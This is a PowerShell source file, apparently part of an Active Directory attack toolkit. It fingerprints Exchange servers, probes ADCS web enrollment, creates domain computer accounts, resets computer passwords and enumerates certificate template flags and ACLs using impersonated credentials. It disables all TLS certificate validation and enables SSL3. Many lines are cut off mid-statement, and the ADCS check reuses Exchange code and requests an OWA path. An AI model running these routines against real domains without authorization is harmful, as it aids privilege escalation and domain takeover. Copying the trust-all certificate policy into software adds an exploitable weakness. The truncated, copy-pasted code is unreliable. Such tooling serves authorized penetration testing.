$Global:ProgressPreference = 'SilentlyContinue'
if ( (($PSVersionTable).PSVersion).Major -gt '2') { # Check if Powershell version is greater 2
# Defining different Exchange major versions
$ExchangeVersions = @{
"15.2" = "Exchange 2019"
"15.1" = "Exchange 2016"
"15.0" = "Exchange 2013"
"14.3" = "Exchange 2010 SP3"
"14.2" = "Exchange 2010 SP2"
"14.1" = "Exchange 2010 SP1"
"14.0" = "Exchange 2010"
"8.3" = "Exchange 2007 SP3"
"8.2" = "Exchange 2007 SP2"
"8.1" = "Exchange 2007 SP1"
"8.0" = "Exchange 2007"
"6.5" = "Exchange 2003"
"6.0" = "Exchange 2000"
}
# deactivation of certificate checks and allow all ssl/tls versions
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3, [Net.SecurityProt
}
else {
Write-warning "[Invoke-CheckExchange] You are using Powershell version $((($PSVersionTable
}
}
PROCESS {
foreach ($target in $Identity) {
$ExSrv = $target.Trim('\ ')
$ExSrvUri = "https://$($ExSrv)/owa/" #$ExSrvUri = "https://$($ExSrv)/owa/auth/logon.aspx"
$ExSrvIP = (Get-IPAddress -ComputerName $ExSrv).ipAddress
write-verbose "[Invoke-CheckExchange] Using the Exchange server '$ExSrv' to get the version
Write-Verbose "[Invoke-CheckExchange] Resolved '$ExSrv' to IP address '$ExSrvIP'"

try {
Write-Verbose "[Invoke-CheckExchange] Connecting tcp/443 to check if '$target' is online"
if ($(Invoke-PortCheck -ComputerName $ExSrv -Port 443) -eq $true) {
Write-Verbose "[Invoke-CheckExchange] Requesting '$ExSrvUri' to gather Exchange build
try {
$ExSrvBuild = (Invoke-WebRequest -uri $ExSrvUri -TimeoutSec 3 -UseBasicParsing -M
if (-not $ExSrvBuild) {
write-verbose "[Invoke-CheckExchange] Exchange version older then release date 07
$ExSrvBuild = ((invoke-webrequest -Uri $ExSrvUri -TimeoutSec 3 -UseBasicParsing).
}
if ($ExSrvBuild -and $ExSrvBuild -ne '') {
$Object = New-Object PSObject
$Object | Add-Member Noteproperty 'dNSHostName' $ExSrv
$Object | Add-Member Noteproperty 'IPv4Address' $ExSrvIP
$Object | Add-Member Noteproperty 'ExchangeVersion' $ExchangeVersions[$(($ExS
$Object | Add-Member Noteproperty 'ExchangeBuild' $ExSrvBuild
$Object
}
}
catch {
Write-Error "[Invoke-CheckExchange] Exchange build number could not be determined:
}
}
}
catch {
Write-Warning "[Invoke-CheckExchange] Exchange build number could not be determined: $
}
}
}
END {
$Global:ProgressPreference = $OriginalProgressPreference
}
}
function Invoke-CheckADCS {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
Checks if the ADCS CA Server has Webenrollment active.
.PARAMETER Identity
Specifies the FQDN or at least the CA server hostname.
.EXAMPLE
Invoke-CheckADCS -Identity ex.contoso.com
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True
[ValidateNotNullOrEmpty()]
[String[]]
$Identity
)
BEGIN {
$ErrorActionPreference = "Continue"
if ( (($PSVersionTable).PSVersion).Major -gt '2') { # Check if Powershell version is greater 2
# deactivation of certificate checks and allow all ssl/tls versions
add-type @"
using System.Net;
using System.Security.Cryptography.X509Certificates;
public class TrustAllCertsPolicy : ICertificatePolicy {
public bool CheckValidationResult(
ServicePoint srvPoint, X509Certificate certificate,
WebRequest request, int certificateProblem) {
return true;
}
}
"@
[System.Net.ServicePointManager]::CertificatePolicy = New-Object TrustAllCertsPolicy
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3, [Net.SecurityProt
}
else {
Write-warning "[Invoke-CheckADCS] You are using Powershell version $((($PSVersionTable).P
}
}
PROCESS {
foreach ($target in $Identity) {

$ADCSSrv = $target.Trim('\ ')


$ADCSSrvUri = "https://$($ADCSSrv)/owa/"
$ADCSSrvIP = (Get-IPAddress -ComputerName $ADCSSrv).ipAddress
write-verbose "[Invoke-CheckADCS] Using the ADCS Server '$ADCSSrv' to check the web enro
Write-Verbose "[Invoke-CheckADCS] Resolved '$ADCSSrv' to IP address '$ADCSSrv'"

try {
Write-Verbose "[Invoke-CheckADCS] Connecting tcp/443 to check if '$target' is online"
if ($(Invoke-PortCheck -ComputerName $ADCSSrv -Port 443) -eq $true) {
Write-Verbose "[Invoke-CheckADCS] Requesting '$ADCSSrv' to check the web enrollment
try {
$ADCSWebEnrollment = (Invoke-WebRequest -uri $ADCSSrvUri -TimeoutSec 3 -UseBa
if (-not $ADCSWebEnrollment) {
write-verbose "[Invoke-CheckADCS] Exchange version older then release date 07/13/
$ADCSWebEnrollment = ((invoke-webrequest -Uri $ADCSSrvUri -TimeoutSec 3 -Use
}
if ($ADCSWebEnrollment -and $ADCSWebEnrollment -ne '') {
$Object = New-Object PSObject
$Object | Add-Member Noteproperty 'dNSHostName' $ADCSSrv
$Object | Add-Member Noteproperty 'IPv4Address' $ADCSSrvIP
$Object | Add-Member Noteproperty 'ADCSWebEnrollment' $True
$Object
}
}
catch {
Write-Error "[Invoke-CheckADCS] Exchange build number could not be determined: $_"
}
}
}
catch {
Write-Error "[Invoke-CheckADCS] Could not connect to web enrollment of ADCS: $_"
}
}
}
}
function Invoke-PortCheck {
<#
.SYNOPSIS
Author: Alexander Sturz (@_61106960_)
.DESCRIPTION
This helper module will simply do a check if a given tcp port is available at a target system.
.PARAMETER ComputerName
Specifies the hostname to check a open port for.
.PARAMETER Port
Specifies the tcp port to check a host for.
.EXAMPLE
Invoke-PortCheck -Identity ex.contoso.com -Port 445
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory= $True)]
[ValidateNotNullOrEmpty()]
[String]
$ComputerName,
[Parameter (Mandatory= $True)]
[ValidateLength(1, 65535)]
[ValidateNotNullOrEmpty()]
[String]
$Port
)
PROCESS {
$PortCheckResult = Test-NetConnection -ComputerName $ComputerName -Port $Port

if (-not $($PortCheckResult.TcpTestSucceeded)) {
Write-Warning "[Invoke-PortCheck] Host $($ComputerName) not reachable"
return $false
}
elseif ($($PortCheckResult.TcpTestSucceeded) -and $($PortCheckResult.TcpTestSucceeded) -eq
Write-Verbose "[Invoke-PortCheck] TCP port $($Port) at $($ComputerName) with IP address $(
return $true
}
else {
Write-Warning "[Invoke-PortCheck] TCP port $($Port) at $($ComputerName) with IP address $(
return $false
}
}
}
function New-DomainComputer {
<#
.SYNOPSIS
Creates a new domain computer (assuming appropriate permissions) and returns the computer object.
Based on New-DomainUser by Will Schroeder (@harmj0y)
Author: Alexander Sturz (@61106960)
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to create a new
DirectoryServices.AccountManagement.ComputerPrincipal with the specified computer properties.
.PARAMETER Identity
Specifies the Security Account Manager (SAM) account name of the computer to create.
Maximum of 256 characters. Mandatory.
.PARAMETER AccountPassword
Specifies the password for the created computer. Mandatory.
.PARAMETER Description
Specifies the description of the computer to create.
.PARAMETER Domain
Specifies the domain to use to search for computer principals, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials for connection to the target do
.EXAMPLE
$ComputerPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainComputer -Identity computer1 -Description 'This is computer1' -AccountPassword $Compu
Creates the 'computer1' computer with the specified description and password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
$ComputerPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainComputer -Identity computer1 -Description 'This is computer1' -AccountPassword $Compu
Creates the 'computer1' computer with the specified description and password, using the specified alter
.OUTPUTS
DirectoryServices.AccountManagement.ComputerPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagemen
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.ComputerPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('ComputerName', 'SamAccountName')]
[ValidateLength(0, 256)]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
# deals with the $ at the end of the SamAccountName
if ($Identity.EndsWith('$')) {
$Identity = $Identity.SubString(0,$Identity.Length - 1)
}
$ContextArguments = @{
'Identity' = $Identity
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$Computer = New-Object -TypeName System.DirectoryServices.AccountManagement.ComputerP
# set all the appropriate computer parameters
$Computer.SamAccountName = $Context.Identity + "$"
$Computer.Name = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword
$Computer.SetPassword($TempCred.GetNetworkCredential().Password)
$Computer.Enabled = $True
if ($PSBoundParameters['Description']) {
$Computer.Description = $Description
}
Write-Verbose "[New-DomainComputer] Attempting to create computer '$Identity'"
try {
$Null = $Computer.Save()
Write-Verbose "[New-DomainComputer] Computer '$Identity' successfully created"
$Computer
}
catch {
Write-Warning "[New-DomainComputer] Error creating computer '$Identity' : $_"
}
}
}

function Set-DomainComputerPassword {
<#
.SYNOPSIS
Sets the password for a given computer identity.
Based on Set-DomainUserPassword by Will Schroeder (@harmj0y)
Author: Alexander Sturz (@61106960)
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified computer -Identity,
which returns a DirectoryServices.AccountManagement.ComputerPrincipal object. The
SetPassword() function is then invoked on the computer, setting the password to -AccountPassword.
.PARAMETER Identity
A computer SamAccountName (e.g. Computer1), DistinguishedName (e.g. CN=Computer1,CN=Compu
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a
specifying the computer to reset the password for.
.PARAMETER AccountPassword
Specifies the password to reset the target computer's to. Mandatory.
.PARAMETER Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$ComputerPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainComputerPassword -Identity computer1 -AccountPassword $ComputerPassword
Resets the password for 'computer1' to the password specified.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword
$ComputerPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainComputerPassword -Identity computer1 -AccountPassword $ComputerPassword -Credenti
Resets the password for 'computer1' usering the alternate credentials specified.
.OUTPUTS
DirectoryServices.AccountManagement.ComputerPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagemen
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunc
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.ComputerPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('ComputerName', 'ComputerIdentity', 'Computer')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{ 'Identity' = $Identity }
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$Computer = [System.DirectoryServices.AccountManagement.ComputerPrincipal]::FindByIdentity(
if ($Computer) {
Write-Verbose "[Set-DomainComputerPassword] Attempting to set the password for computer '$
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPass
$Computer.SetPassword($TempCred.GetNetworkCredential().Password)
$Null = $Computer.Save()
Write-Verbose "[Set-DomainComputerPassword] Password for computer '$Identity' successfu
}
catch {
Write-Warning "[Set-DomainComputerPassword] Error setting password for computer '$Ident
}
}
else {
Write-Warning "[Set-DomainComputerPassword] Unable to find computer '$Identity'"
}
}
}

########################################################
#
# Stuff by Christoph Falta (@cfalta)
#
########################################################
function Convert-ADCSPrivateKeyFlag {
<#
.SYNOPSIS
Converts the mspki-private-key-flag specified by the "Flag" parameter.
Author: Christoph Falta (@cfalta)
.PARAMETER Flag
The value to translate.
.EXAMPLE
Convert-ADCSPrivateKeyFlag -Flag 1
Description
-----------
Translates the value "1" according to microsoft documentation.
.LINK
https://github.com/cfalta/PoshADCS
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true, ValueFromPipeline=$true)]
[ValidateNotNullorEmpty()]
[string]
$Flag
)
# Based on 2.27 msPKI-Private-Key-Flag Attribute
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/f6122d87-b999-4b92-bff8-f46
$Result = @()
$BitFlag = [convert]::ToString($Flag,2).padleft(32,'0')
if($BitFlag.Substring(31,1) -eq '1') {
$Result += "CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL"
}
if($BitFlag.Substring(27,1) -eq '1') {
$Result += "CT_FLAG_EXPORTABLE_KEY"
}
if($BitFlag.Substring(26,1) -eq '1') {
$Result += "CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED"
}
if($BitFlag.Substring(25,1) -eq '1') {
$Result += "CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM"
}
if($BitFlag.Substring(24,1) -eq '1') {
$Result += "CT_FLAG_REQUIRE_SAME_KEY_RENEWAL"
}
if($BitFlag.Substring(23,1) -eq '1') {
$Result += "CT_FLAG_USE_LEGACY_PROVIDER"
}
if($BitFlag -eq '00000000000000000000000000000000') {
$Result += "CT_FLAG_ATTEST_NONE"
}
if($BitFlag.Substring(18,1) -eq '1') {
$Result += "CT_FLAG_ATTEST_REQUIRED"
}
if($BitFlag.Substring(19,1) -eq '1') {
$Result += "CT_FLAG_ATTEST_PREFERRED"
}
if($BitFlag.Substring(17,1) -eq '1') {
$Result += "CT_FLAG_ATTESTATION_WITHOUT_POLICY"
}
if($BitFlag.Substring(22,1) -eq '1') {
$Result += "CT_FLAG_EK_TRUST_ON_USE"
}
if($BitFlag.Substring(21,1) -eq '1') {
$Result += "CT_FLAG_EK_VALIDATE_CERT"
}
if($BitFlag.Substring(20,1) -eq '1') {
$Result += "CT_FLAG_EK_VALIDATE_KEY"
}
$Result
}
function Convert-ADCSNameFlag {
<#
.SYNOPSIS
Converts the mspki-certificate-name-flag specified by the "Flag" parameter.
Author: Christoph Falta (@cfalta)
.PARAMETER Flag
The value to translate.
.EXAMPLE
Convert-ADCSNameFlag -Flag 1
Description
-----------
Translates the value "1" according to microsoft documentation.
.LINK
https://github.com/cfalta/PoshADCS
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true, ValueFromPipeline=$true)]
[ValidateNotNullorEmpty()]
[string]
$Flag
)
# Based on 2.28 msPKI-Certificate-Name-Flag Attribute
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/1192823c-d839-4bc3-9b6b-f
$Result = @()
$BitFlag = [convert]::ToString($Flag,2).padleft(32,'0')
if($BitFlag.Substring(31,1) -eq '1') {
$Result += "ENROLLEE_SUPPLIES_SUBJECT"
}
if($BitFlag.Substring(28,1) -eq '1') {
$Result += "OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME"
}
if($BitFlag.Substring(15,1) -eq '1') {
$Result += "ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME"
}
if($BitFlag.Substring(9,1) -eq '1') {
$Result += "SUBJECT_ALT_REQUIRE_DOMAIN_DNS"
}
if($BitFlag.Substring(7,1) -eq '1') {
$Result += "SUBJECT_ALT_REQUIRE_DIRECTORY_GUID"
}
if($BitFlag.Substring(6,1) -eq '1') {
$Result += "SUBJECT_ALT_REQUIRE_UPN"
}
if($BitFlag.Substring(5,1) -eq '1') {
$Result += "SUBJECT_ALT_REQUIRE_EMAIL"
}
if($BitFlag.Substring(4,1) -eq '1') {
$Result += "SUBJECT_ALT_REQUIRE_DNS"
}
if($BitFlag.Substring(3,1) -eq '1') {
$Result += "SUBJECT_REQUIRE_DNS_AS_CN"
}
if($BitFlag.Substring(2,1) -eq '1') {
$Result += "SUBJECT_REQUIRE_EMAIL"
}
if($BitFlag.Substring(1,1) -eq '1') {
$Result += "SUBJECT_REQUIRE_COMMON_NAME"
}
if($BitFlag.Substring(0,1) -eq '1') {
$Result += "SUBJECT_REQUIRE_DIRECTORY_PATH"
}
$Result
}
function Convert-ADCSEnrollmentFlag {
<#
.SYNOPSIS
Converts the mspki-enrollment-flag specified by the "Flag" parameter.
Author: Christoph Falta (@cfalta)
.PARAMETER Flag
The value to translate.
.EXAMPLE
Convert-ADCSEnrollmentFlag -Flag 1
Description
-----------
Translates the value "1" according to microsoft documentation.
.LINK
https://github.com/cfalta/PoshADCS
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true, ValueFromPipeline=$true)]
[ValidateNotNullorEmpty()]
[string]
$Flag
)
# Based on 2.26 msPKI-Enrollment-Flag Attribute
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-crtd/ec71fd43-61c2-407b-83c9-b
$Result = @()
$BitFlag = [convert]::ToString($Flag,2).padleft(32,'0')
if($BitFlag.Substring(31,1) -eq '1') {
$Result += "CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS"
}
if($BitFlag.Substring(30,1) -eq '1') {
$Result += "CT_FLAG_PEND_ALL_REQUESTS"
}
if($BitFlag.Substring(29,1) -eq '1') {
$Result += "CT_FLAG_PUBLISH_TO_KRA_CONTAINER"
}
if($BitFlag.Substring(28,1) -eq '1') {
$Result += "CT_FLAG_PUBLISH_TO_DS"
}
if($BitFlag.Substring(27,1) -eq '1') {
$Result += "CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE"
}
if($BitFlag.Substring(26,1) -eq '1') {
$Result += "CT_FLAG_AUTO_ENROLLMENT"
}
if($BitFlag.Substring(25,1) -eq '1') {
$Result += "CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT"
}
if($BitFlag.Substring(23,1) -eq '1') {
$Result += "CT_FLAG_USER_INTERACTION_REQUIRED"
}
if($BitFlag.Substring(21,1) -eq '1') {
$Result += "CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE"
}
if($BitFlag.Substring(20,1) -eq '1') {
$Result += "CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF"
}
if($BitFlag.Substring(19,1) -eq '1') {
$Result += "CT_FLAG_ADD_OCSP_NOCHECK"
}
if($BitFlag.Substring(18,1) -eq '1') {
$Result += "CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL"
}
if($BitFlag.Substring(17,1) -eq '1') {
$Result += "CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS"
}
if($BitFlag.Substring(16,1) -eq '1') {
$Result += "CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS"
}
if($BitFlag.Substring(15,1) -eq '1') {
$Result += "CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_R
}
if($BitFlag.Substring(14,1) -eq '1') {
$Result += "CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST"
}
$Result
}
function Convert-ADCSExtendedKeyFlag {
<#
.SYNOPSIS
Converts the pKIExtendedKeyUsage specified by the "OID" parameter.
Author: Alexander Sturz (@_61106960_)
.PARAMETER OID
The value to translate.
.EXAMPLE
Convert-ADCSExtendedKeyFlag -OID '1.3.6.1.5.5.7.3.2'
Description
-----------
Translates OID to human readable value.
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true, ValueFromPipeline=$true)]
[ValidateNotNullorEmpty()]
[string]
$OID
)
$Result = @()
$OIDList = $OID.Split(' ')
try {
foreach ($item in $OIDList) {
if($item -eq '1.3.6.1.5.2.3.5') { $Result += "KDC Authentication" }
elseif($item -eq '1.3.6.1.5.5.7.3.1') { $Result += "Server Authentication" }
elseif($item -eq '1.3.6.1.5.5.7.3.2') { $Result += "Client Authentication" }
elseif($item -eq '1.3.6.1.5.5.7.3.3') { $Result += "Code Signing" }
elseif($item -eq '1.3.6.1.5.5.7.3.4') { $Result += "Secure E-mail" }
elseif($item -eq '1.3.6.1.5.5.7.3.5') { $Result += "IP Security End System" }
elseif($item -eq '1.3.6.1.5.5.7.3.6') { $Result += "IP Security Tunnel Endpoint" }
elseif($item -eq '1.3.6.1.5.5.7.3.7') { $Result += "IP Security User" }
elseif($item -eq '1.3.6.1.5.5.7.3.8') { $Result += "Time Stamping" }
elseif($item -eq '1.3.6.1.5.5.7.3.9') { $Result += "OCSP Signing" }
elseif($item -eq '1.3.6.1.5.5.7.3.21') { $Result += "SSH Client" }
elseif($item -eq '1.3.6.1.5.5.7.3.22') { $Result += "SSH Server" }
elseif($item -eq '1.3.6.1.4.1.311.10.3.1') { $Result += "Microsoft Trust List Signing" }
elseif($item -eq '1.3.6.1.4.1.311.10.3.4') { $Result += "Encrypting File System" }
elseif($item -eq '1.3.6.1.4.1.311.10.3.4.1') { $Result += "File Recovery" }
elseif($item -eq '1.3.6.1.4.1.311.10.3.9') { $Result += "Root List Signer" }
elseif($item -eq '1.3.6.1.4.1.311.10.3.10') { $Result += "Qualified Subordination" }
elseif($item -eq '1.3.6.1.4.1.311.10.3.11') { $Result += "Key Recovery" }
elseif($item -eq '1.3.6.1.4.1.311.10.3.12') { $Result += "Document Signing" }
elseif($item -eq '1.3.6.1.4.1.311.10.3.13') { $Result += "Lifetime Signing" }
elseif($item -eq '1.3.6.1.4.1.311.20.2.1') { $Result += "Certificate Request Agent" }
elseif($item -eq '1.3.6.1.4.1.311.20.2.2') { $Result += "Smartcard Logon" }
elseif($item -eq '1.3.6.1.4.1.311.21.5') { $Result += "Private Key Archival" }
elseif($item -eq '1.3.6.1.4.1.311.54.1.2') { $Result += "Remote Desktop Authentication" }
elseif($item -eq '1.3.6.1.4.1.311.80.1') { $Result += "Document Encryption" }
else { $Result += $item }
}
$Result
}
catch {
Write-Verbose "[Convert-ADCSExtendedKeyFlag] Error converting OID information: $_"
}
}
function Convert-ADCSFlag {
<#
.SYNOPSIS
Translates the value of a specified flag-attribute into a human readable form.
Author: Christoph Falta (@cfalta), Alexander Sturz (@_61106960)
.PARAMETER Attribute
The flag attribute to translate. Can be one of "mspki-enrollment-flag", "mspki-certificate-name-flag", "ms
.PARAMETER Value
The value to translate.
.EXAMPLE
Convert-ADCSFlag -Attribute mspki-enrollment-flag -Value 1
Description
-----------
Converts the value 1 of the attribute mspki-enrollment-flag into a human readable form.
.LINK
https://github.com/cfalta/PoshADCS
#>
[CmdletBinding()]
Param (
[Parameter(Mandatory = $true)]
[ValidateSet("mspki-enrollment-flag","mspki-certificate-name-flag","mspki-private-key-flag","pkiexte
[string]
$Attribute,
[Parameter(Mandatory = $true)]
[ValidateNotNullorEmpty()]
[string]
$Value)
switch($Attribute) {
"mspki-enrollment-flag" { Convert-ADCSEnrollmentFlag -Flag $Value }
"mspki-certificate-name-flag" { Convert-ADCSNameFlag -Flag $Value }
"mspki-private-key-flag" { Convert-ADCSPrivateKeyFlag -Flag $Value }
"pKIExtendedKeyUsage-oid" { Convert-ADCSExtendedKeyFlag -OID $Value }
}
}
function Get-ADCSTemplateACL {
<#
.SYNOPSIS
Get-ADCSTemplateACL uses PowerViews Get-DomainObjectACL to retrieve the ACLs of a single or a
Use the filter switch to remove ACEs that match admin groups or other default groups to reduce the out
Author: Christoph Falta (@cfalta)
Adapted by: Alexander Sturz (@_61106960_)

.PARAMETER Name
The name of the certificate template to search for. If omitted, all templates will be retrieved.

.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.

.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SSL
Switch. Specifies that encrypted LDAPS over port 636 is used.

.PARAMETER Filter
Filter the ACEs to reduce output and gain better visibility.
-Filter AdminACEs --> will remove ACEs that match to default admin groups (e.g. Domain Admins)
-Filter DefaultACEs --> will remove ACEs that match to default domain groups including admin groups (

.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

.EXAMPLE
Get-ADCSTemplateACL -Name Template1 -Filter DefaultACEs
Description
-----------
Get's the ACEs of the template with name "Template1" and removes all default ACEs
.EXAMPLE
Get-ADCSTemplateACL -Filter AdminACEs
Description
-----------
Get's the ACEs of all templates and removes admin ACEs

.LINK
https://github.com/cfalta/PoshADCS
#>
[CmdletBinding()]
Param (
[Parameter(Position = 0, Mandatory = $false, ValueFromPipeline = $True, ValueFromPipelineByPr
[ValidateNotNullorEmpty()]
[String]
$Name,

[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[Parameter(Mandatory = $false)]
[Switch]
$SSL,

[Parameter(Mandatory = $false)]
[ValidateSet("AdminACEs","DefaultACEs")]
[String]
$Filter,
[ValidateNotNullOrEmpty()]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[String]
$LDAPFilter,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)

BEGIN {
# Building searcher arguments for the following PowerView requests
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) {
$SearcherArguments['Domain'] = $Domain
Write-Verbose "[Get-ADCSTemplateACL] Using '$($Domain)' as target Windows Domain"
}
if ($PSBoundParameters['Server']) {
$SearcherArguments['Server'] = $Server
Write-Verbose "[Get-ADCSTemplateACL] Using '$($Server)' as target Domain Controller"
}
if ($PSBoundParameters['SSL']) {
$SearcherArguments['SSL'] = $True
Write-Verbose "[Get-ADCSTemplateACL] Using LDAPS for search requests"
}
if ($PSBoundParameters['Credential']) {
Write-Warning "[Get-ADCSTemplateACL] Using PSCredential $($Cred.Username) for authentic
$LogonToken = Invoke-UserImpersonation -Credential $Credential
}
# Get Domain Object
$DomainName = get-domain @SearcherArguments
}

PROCESS {
# Add Values to Searcher Argument
$ACLSearcherArguments = $SearcherArguments.Clone()
if ($PSBoundParameters['SearchBase']) {
$ACLSearcherArguments['SearchBase'] = $SearchBase
Write-Verbose "[Get-ADCSTemplateACL] Search base: '$($SearchBase)'"
}
else {
$ACLSearcherArguments['SearchBase'] = ("CN=Certificate Templates,CN=Public Key Services
Write-Verbose "[Get-ADCSTemplateACL] Search base: '$($ACLSearcherArguments.SearchBas
}
if ($PSBoundParameters['Name']) {
$ACLSearcherArguments['LDAPFilter'] = ("(objectclass=pKICertificateTemplate)(name=" + $Na
Write-Verbose "[Get-ADCSTemplateACL] Using LDAP filter: '$($ACLSearcherArguments.LDAP
}
elseif ($PSBoundParameters['LDAPFilter']) {
$ACLSearcherArguments['LDAPFilter'] = $LDAPFilter
Write-Verbose "[Get-ADCSTemplateACL] Using LDAP filter: '$($LDAPFilter)'"
}
else {
$ACLSearcherArguments['LDAPFilter'] = ("(objectclass=pKICertificateTemplate)")
Write-Verbose "[Get-ADCSTemplateACL] Using LDAP filter: '$($ACLSearcherArguments.LDAP
}
# Gets Template ACL
$TemplatesACL = Get-DomainObjectACL @ACLSearcherArguments -Resolveguids
foreach($acl in $TemplatesACL) {
$acl | Add-Member -MemberType NoteProperty -Name Identity -Value (Convert-SidToName @
}
# Filter AdminACEs --> will remove ACEs that match to default admin groups (e.g. Domain Admins
if($Filter -eq "AdminACEs") {
$TemplatesACL = $TemplatesACL | ? { -not (($_.SecurityIdentifier.value -like "*-512") -or ($_.Se
}
# Filter DefaultACEs --> will remove ACEs that match to default domain groups including admin gr
if($Filter -eq "DefaultACEs") {
$TemplatesACL = $TemplatesACL | ? { -not (($_.SecurityIdentifier.value -like "*-512") -or ($_.Se
dentifier.value -like "*-553")) }
}
$TemplatesACL
}

END {
if ($LogonToken) {
Invoke-RevertToSelf -TokenHandle $LogonToken
}
}
}
function Get-ADCSTemplate {
<#
.SYNOPSIS
This function gets a specified or all objects of type "pKICertificateTemplate" stored under the default pa
It can also translate the various flag attributes to human-readable values and include the ACLs of the te
Author: Christoph Falta (@cfalta)
Adapted by: Alexander Sturz (@_61106960_)
.PARAMETER Name
The name of the certificate template to search for. If omitted, all templates will be retrieved.
